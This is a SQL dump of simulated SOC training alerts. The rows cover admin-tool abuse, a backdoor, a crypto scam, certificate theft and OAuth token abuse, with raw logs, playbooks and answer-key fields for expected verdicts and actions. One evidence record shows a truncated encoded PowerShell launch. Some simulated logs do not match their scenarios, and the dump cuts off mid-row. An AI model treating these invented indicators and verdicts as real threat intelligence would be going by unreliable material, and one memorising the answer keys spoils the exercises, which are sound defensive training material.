INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(877, 'Unauthorized Use of Admin Tools', 'high', 'Internal Monitoring Systems', 'An attacker with compromised credentials exploited internal admin tools to manipulate account settings of high-profile Twitter users.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_id\":\"EVT00012345\",\"source_ip\":\"45.76.78.90\",\"internal_ip\":\"10.1.1.15\",\"username\":\"compromised_admin\",\"actions\":[{\"tool\":\"TwitterAdminTool.exe\",\"action\":\"modify_account_settings\",\"target_account\":\"high_profile_user\",\"timestamp\":\"2023-10-01T14:24:10Z\"}],\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"TwitterAdminTool.exe\",\"activity\":\"Unauthorized manipulation of account settings\"}', '2026-01-15 00:55:54', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.78.90\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelService\",\"verdict\":\"malicious\",\"details\":\"Identified as a command and control server IP.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetworkMonitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"UserBehaviorAnalytics\",\"verdict\":\"suspicious\",\"details\":\"Account behavior indicates potential compromise.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDatabase\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with malware used for credential theft.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"TwitterAdminTool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"SecuritySoftware\",\"verdict\":\"suspicious\",\"details\":\"File used to execute unauthorized actions on admin accounts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(878, 'Creation of Persistent Access Channels', 'high', 'Endpoint Detection and Response', 'The attacker has established backdoor access to ensure persistent access to the compromised accounts, allowing them to return even if initial credentials are revoked.', 'Persistence', 'T1547', 1, 'new', NULL, '{\"timestamp\":\"2023-10-04T14:22:08Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"filename\":\"backdoor.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_type\":\"Execution\",\"event_description\":\"Suspicious binary executed with the objective of maintaining persistent access.\",\"process_id\":\"5720\",\"process_name\":\"backdoor.exe\",\"destination\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\backdoor.exe\"}', '2026-01-15 00:55:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with multiple cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Backdoor executable known to maintain persistent access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with malicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(879, 'Cryptocurrency Transfer Activity', 'high', 'Blockchain Analysis Tools', 'The attacker posted fraudulent messages from compromised accounts, directing followers to a Bitcoin wallet and successfully stealing $120,000 before detection.', 'Exfiltration', 'T1567 - Exfiltration Over Web Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:56:32Z\",\"event_id\":\"evt-crypto-004\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.101\",\"source_user\":\"compromised_user_01\",\"transaction_id\":\"tx1234567890\",\"bitcoin_wallet\":\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\",\"amount_usd\":120000,\"malicious_url\":\"http://malicious-site.com/bitcoin-scam\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"scam_guide.pdf\"}', '2026-01-15 00:55:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"IP address associated with multiple fraudulent activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user_01\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account compromised in phishing attack.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-site.com/bitcoin-scam\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Analysis Service\",\"verdict\":\"malicious\",\"details\":\"URL hosting Bitcoin scam content.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis Service\",\"verdict\":\"suspicious\",\"details\":\"PDF file associated with scam instructions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(880, 'Unauthorized Certificate Access Detected', 'high', 'Security Information and Event Management (SIEM)', 'An unauthorized access attempt was detected using a compromised certificate. APT29 is leveraging a stolen Mimecast certificate to gain initial access to Microsoft 365 environments, indicative of a supply chain attack vector.', 'Supply Chain Attack', 'T1195: Supply Chain Compromise', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"event_id\":\"evt-20231015-001\",\"source_ip\":\"185.100.87.202\",\"destination_ip\":\"192.168.1.10\",\"certificate_serial\":\"04:92:48:7D:3A:5B:9C:1E:AC:91\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\",\"filename\":\"MimecastCert.pfx\",\"username\":\"j.doe@company.com\",\"event_type\":\"certificate_access\",\"log_message\":\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\"}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.100.87.202\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with certificate theft\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"MimecastCert.pfx\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Filename linked to unauthorized access attempts\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(881, 'Suspicious OAuth Token Requests', 'high', 'Cloud Access Security Broker (CASB)', 'APT29 has been observed abusing OAuth tokens to escalate privileges within the cloud infrastructure. This activity was detected following an initial access, indicating potential persistence strategies by the threat actor.', 'Cloud Exploitation', 'T1550.001 - Use Alternate Authentication Material: Application Access Token', 1, 'new', NULL, '{\"event_time\":\"2023-10-12T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.101\",\"user\":\"jdoe@corp.com\",\"action\":\"OAuth Token Request\",\"service_name\":\"Company Cloud Service\",\"token_id\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"token_status\":\"active\",\"detected_by\":\"CASB\",\"description\":\"OAuth token request from an external IP associated with known APT activity.\",\"related_filename\":\"malicious_payload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with APT29 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe@corp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Corporate user potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 